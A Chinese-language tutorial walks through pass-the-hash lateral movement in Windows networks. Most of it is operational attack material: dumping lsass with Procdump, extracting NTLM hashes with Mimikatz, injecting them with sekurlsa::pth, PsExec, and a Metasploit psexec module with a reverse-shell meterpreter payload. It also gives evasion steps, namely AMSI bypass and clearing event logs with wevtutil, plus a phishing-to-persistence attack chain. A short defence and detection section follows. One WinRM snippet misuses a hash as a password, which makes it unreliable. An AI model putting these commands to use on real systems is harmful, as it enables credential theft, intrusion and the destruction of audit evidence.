当前位置: 首页 > news >正文

从零开始学内网横向移动:Mimikatz哈希传递攻击全流程解析(含Procdump搭配技巧)

从零开始掌握内网横向渗透:哈希传递攻击实战指南

当你第一次听说"哈希传递攻击"时,脑海中浮现的是什么画面?是黑客电影里那些神秘莫测的代码滚动,还是现实中企业网络被悄无声息攻破的新闻?今天,我们就来揭开这项内网渗透核心技术的神秘面纱。

哈希传递(Pass-the-Hash, PTH)攻击是内网横向移动中最经典的攻击手法之一。不同于传统的暴力破解,它巧妙地绕过了对明文密码的需求,直接利用密码哈希值进行身份验证。这种攻击方式在内网环境中尤其危险,因为一旦攻击者获取了一个系统的哈希值,就可能利用相同的凭证横向移动到网络中的其他系统。

1. 理解哈希传递的基础概念

在深入实操之前,我们需要先搞清楚几个关键概念。Windows系统的身份认证机制经历了从LM哈希到NTLM再到Kerberos的演进过程,而哈希传递攻击主要针对的是NTLM认证协议。

1.1 LM哈希与NTLM哈希的区别

LM哈希是微软最早采用的密码哈希算法,设计于1980年代,存在严重的安全缺陷:

  • 密码被分成两部分分别哈希(超过7字符时)
  • 不区分大小写
  • 使用DES加密算法
# 计算LM哈希的伪代码示例 function LM_HASH(password): password = password.upper()[:14] password = password.ljust(14, '\0') part1 = password[:7] part2 = password[7:] hash1 = DES(part1, "KGS!@#$%") hash2 = DES(part2, "KGS!@#$%") return hash1 + hash2

相比之下,NTLM哈希(也称为NT哈希)更为安全:

  • 使用MD4算法
  • 保留原始密码的大小写
  • 支持完整的128位密码长度

从Windows Vista/Server 2008开始,微软默认禁用LM哈希,现代系统主要使用NTLM哈希。但在某些旧系统或特殊配置环境下,LM哈希仍可能被使用。

1.2 NTLM认证流程简析

NTLM认证采用挑战-响应机制,主要分为三个步骤:

  1. 协商:客户端向服务器发起认证请求
  2. 挑战:服务器生成一个随机数(挑战)发送给客户端
  3. 响应:客户端使用用户密码的哈希值加密挑战,将结果作为响应返回

哈希传递攻击的精妙之处在于,攻击者不需要知道原始密码,只需拥有密码哈希值,就能构造出有效的响应通过认证。

提示:现代Windows系统默认使用Kerberos认证,但当遇到以下情况时会回退到NTLM:

  • 目标服务不在域中
  • 目标服务IP地址而非主机名访问
  • 客户端或服务端未加入域

2. 准备工作:环境搭建与工具获取

2.1 实验环境配置建议

为了安全地学习和测试哈希传递技术,建议搭建以下实验环境:

组件推荐配置备注
攻击机Kali Linux 或 Windows 10安装必要工具
目标机1Windows Server 2012 R2域成员服务器
目标机2Windows 10工作站
网络环境虚拟内网使用VMware或VirtualBox

2.2 必备工具清单

进行哈希传递攻击需要准备以下工具:

  • Mimikatz:提取哈希和执行PTH的核心工具
  • Procdump:微软官方工具,用于转储lsass进程内存
  • PsExec:远程命令执行工具
  • WCE(Windows Credential Editor):替代Mimikatz的轻量级工具
# 下载Procdump的合法方式 Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "Procdump.zip" Expand-Archive -Path "Procdump.zip" -DestinationPath "Procdump"

注意:在实际渗透测试中,确保你拥有目标系统的合法测试权限,未经授权的测试可能违反法律。

3. 哈希提取技术详解

获取有效的哈希值是实施PTH攻击的前提。现代Windows系统的安全机制使得直接提取明文密码变得困难,但我们仍有多种方法可以获取NTLM哈希。

3.1 使用Mimikatz直接提取

Mimikatz是最著名的凭据提取工具,其基本使用流程如下:

  1. 以管理员权限运行cmd
  2. 启动Mimikatz
  3. 提升调试权限
  4. 提取登录凭据
mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords

执行后会输出类似以下信息:

Authentication Id : 0 ; 308124 (00000000:0004b31c) Session : Interactive from 1 User Name : Administrator Domain : CORP Logon Server : DC01 Logon Time : 2023/5/15 10:23:09 SID : S-1-5-21-1606980848-89203812-1303643609-500 msv : [00000003] Primary * Username : Administrator * Domain : CORP * NTLM : 2cefb09dda6d6f9becfa3c0f56c3dad7 * SHA1 : 7a21990f1439cff367df8a6289a4a9103f145d9e tspkg : wdigest : * Username : Administrator * Domain : CORP * Password : (null) kerberos : * Username : Administrator * Domain : CORP.LOCAL * Password : (null)

从输出中,我们需要重点关注msv部分下的NTLM哈希值。

3.2 使用Procdump+Mimikatz组合技

在较新的Windows系统(如Win10/Server 2016+)中,直接运行Mimikatz可能会被防病毒软件拦截。这时可以采用微软官方工具Procdump先转储lsass进程内存,再离线分析:

# 使用Procdump转储lsass进程 procdump.exe -accepteula -ma lsass.exe lsass.dmp # 使用Mimikatz分析转储文件 mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords

这种方法的好处是:

  • 规避实时监控
  • 可以在不同机器上进行分析
  • 产生的转储文件可以存档供后续使用

3.3 其他哈希提取方法

除了上述两种主流方法,还有一些替代方案:

  • 注册表提取:从注册表中导出SAM和SYSTEM文件,使用creddump7等工具提取哈希
  • WCE注入:使用Windows Credential Editor直接注入进程提取凭据
  • Meterpreter:Metasploit框架中的hashdump模块

4. 实施哈希传递攻击

获取到有效的NTLM哈希后,就可以开始实施实际的攻击了。根据目标环境的不同,我们可以采用多种方式进行横向移动。

4.1 基础PTH攻击

最基本的哈希传递攻击使用Mimikatz的sekurlsa::pth功能:

mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:2cefb09dda6d6f9becfa3c0f56c3dad7

执行后会弹出一个新的cmd窗口,在这个窗口中发起的任何网络连接都将使用注入的凭据。例如:

dir \\DC01\C$ # 列出域控制器的C盘内容

4.2 常用横向移动技术对比

技术所需条件优点缺点
Mimikatz PTH本地管理员权限支持多种协议需要交互式会话
PsExec哈希+目标管理员权限直接获取shell容易被检测
WMI哈希+目标管理员权限隐蔽性较好配置复杂
计划任务哈希+目标写权限支持定时执行需要清理痕迹

4.3 实战案例:全流程攻击链

让我们看一个完整的攻击示例:

  1. 信息收集:发现内网中存在多台Windows服务器
  2. 初始入侵:通过钓鱼攻击获取第一台服务器的访问权限
  3. 权限提升:利用本地提权漏洞获取管理员权限
  4. 哈希提取
    procdump.exe -ma lsass.exe lsass.dmp mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords
  5. 哈希传递
    mimikatz # sekurlsa::pth /user:Admin /domain:INTERNAL /ntlm:3f6ef56e5e8b8a5d6a7c9b8d5e6f7a8
  6. 横向移动
    psexec.exe \\192.168.1.15 cmd.exe
  7. 后渗透操作:安装持久化后门,收集敏感数据等

4.4 防御规避技巧

在实际渗透测试中,我们需要考虑如何绕过各种防御机制:

  • AMSI绕过:修改Mimikatz的字符串特征或使用内存加载技术
  • 日志清理:使用wevtutil清除安全日志
  • 隐蔽执行:通过合法进程注入或父进程欺骗执行恶意操作
  • 流量伪装:将C2通信伪装成正常HTTPS流量
# 清除安全日志示例 wevtutil cl Security wevtutil cl System wevtutil cl Application

5. 防御策略与检测方法

了解了攻击手法后,我们更需要知道如何防御这类攻击。有效的防御需要多层次的安全措施。

5.1 预防性控制措施

  • 禁用LM哈希:通过组策略设置"网络安全: 不要在下次更改密码时存储LAN Manager哈希值"
  • 限制NTLM使用:尽可能使用Kerberos认证,限制NTLM的使用场景
  • 特权账户管理
    • 避免域管理员账户登录普通工作站
    • 为不同服务器使用不同的本地管理员密码
  • 补丁管理:及时安装安全更新,特别是针对PsExec等工具的缓解措施

5.2 检测哈希传递攻击

哈希传递攻击会留下一些特征痕迹,安全团队可以通过以下方式检测:

  1. 日志分析

    • 同一账户从多个IP短时间内登录不同系统
    • 登录事件(4624)中"登录类型"为3(网络登录)但"身份验证包"为NTLM
    • 缺少前期的Kerberos预认证事件
  2. 网络监控

    • NTLM认证流量中的异常模式
    • SMB会话中的可疑文件访问
  3. 终端检测

    • lsass进程的异常内存读取
    • 可疑的Procdump执行行为
    • Mimikatz相关进程创建

5.3 应急响应建议

一旦检测到可能的哈希传递攻击,建议采取以下响应步骤:

  1. 隔离受影响系统:立即将可疑系统从网络中断开
  2. 重置相关凭据:包括所有可能泄露的账户密码
  3. 全面调查:确定攻击入口点和横向移动路径
  4. 加固安全配置:实施更严格的访问控制和监控措施
  5. 法律取证:保存证据以备后续法律程序需要

6. 高级技巧与实战经验

在实际渗透测试中,哈希传递攻击往往会遇到各种特殊情况。以下是几个实用的高级技巧。

6.1 受限环境下的PTH

当目标系统限制了常规的PTH方法时,可以尝试:

  • RDP受限模式:使用受限管理员模式进行远程桌面连接
  • WinRM连接:通过PowerShell Remoting进行远程管理
  • 服务票据攻击:如果Kerberos可用,转用黄金票据或白银票据攻击
# 使用WinRM进行远程连接示例 $cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", (ConvertTo-SecureString "NTLM哈希" -AsPlainText -Force)) Enter-PSSession -ComputerName TARGET -Credential $cred -Authentication Negotiate

6.2 哈希传递的替代方案

当PTH不可行时,可以考虑以下替代方法:

  • 票据传递(Pass-the-Ticket):使用Kerberos票据而非NTLM哈希
  • Overpass-the-Hash:将哈希转换为Kerberos票据
  • 令牌窃取:直接窃取其他进程的安全令牌

6.3 自动化工具整合

为了提高效率,可以将哈希传递整合到自动化攻击框架中:

  • Cobalt Strike:使用pthmake_token命令
  • Empirepowershell/credentials/mimikatz/pth模块
  • Metasploitexploit/windows/smb/psexec模块配合SMBPass选项
# Metasploit中使用PTH的示例 use exploit/windows/smb/psexec set SMBUser Administrator set SMBPass 2cefb09dda6d6f9becfa3c0f56c3dad7 set SMBDomain CORP set payload windows/x64/meterpreter/reverse_tcp exploit

在内网渗透测试中,哈希传递攻击的成功率很大程度上取决于前期的信息收集和后期的权限维持。记得在一次测试中,我们通过一个普通的用户权限,经过三跳就拿到了域控制器的权限,整个过程只用了不到两小时,而关键突破口就是发现多台服务器使用了相同的本地管理员密码。这种配置失误在企业内网中出奇地常见,也再次证明了基础安全配置的重要性。

http://www.jsqmd.com/news/594303/

相关文章:

  • 8k上下文超越128k模型原理(非常详细),长文本优化从入门到精通,收藏这一篇就够了!
  • 高效视频压缩:FFmpeg批量处理实战指南
  • 洞察2026:合肥消防排烟系统服务商综合能力评估与选择指南 - 2026年企业推荐榜
  • 快速找到网站可用Hosts的方法
  • 将 RAG 从概念验证(POC)扩展到生产
  • LZ算法:从数据压缩理论到嵌入式实践
  • Adafruit EPD库深度解析:ePaper墨水屏驱动原理与工程实践
  • RS485接口EMC设计要点与工程实践
  • Qwen3-32B-Chat镜像+OpenClaw:10分钟搭建论文研读助手
  • 面试必问:常见的登录鉴权方式有哪些?各自优缺点是什么?(全网最详总结)
  • 驻马店花生种植如何选种?2026年口碑与实力兼具的三大优质供种商深度解析 - 2026年企业推荐榜
  • 聊聊流程工业的数据分析:工程师如何避开“天书软件”的坑,真正落地工艺寻优?
  • 2026年上海联排别墅电梯轿厢翻新:专业服务商选择与价值重塑指南 - 2026年企业推荐榜
  • simia_joystick:面向心理生理实验的低延迟摇杆驱动设计
  • OpenClaw资源监控方案:Kimi-VL-A3B-Thinking长任务内存泄漏排查
  • OpenClaw能耗管理:千问3.5-9B长时间运行的资源优化
  • OpenClaw文件自动化实战:Phi-3-mini-128k-instruct实现智能归档
  • 爱毕业aibye推出六大专业化学术平台,智能改写与高效写作功能无缝衔接,提升科研质量
  • 前瞻2026:江苏地区优质犁煤器服务商深度解析与采购指南 - 2026年企业推荐榜
  • 2026成都强力弹簧采购指南:五大可靠服务商深度解析 - 2026年企业推荐榜
  • 嵌入式环形缓冲区:统一队列/栈/数组的零分配实现
  • 地震数据处理实战:动校正的5个常见误区及如何避免(附Python代码示例)
  • 面试封神题:Cookie、Session、Token 到底有什么区别?全网最透彻图解
  • Linux栈机制解析:从原理到实践应用
  • 2026武汉物流服务商深度测评:五大企业谁主沉浮? - 2026年企业推荐榜
  • 爱毕业aibye上线六大前沿学术平台,智能改写与高效写作功能一键实现,助力科研工作
  • 2026最权威的五大AI写作网站解析与推荐
  • 2026四川地毯清洗服务测评:如何避开陷阱选对专业公司? - 2026年企业推荐榜
  • 2026年钛酸正丁酯行业深度洗牌:五家核心生产商实力解析与采购指南 - 2026年企业推荐榜
  • 唐山别墅大门定制实力派:亿斯特门业如何以专业赢得口碑 - 2026年企业推荐榜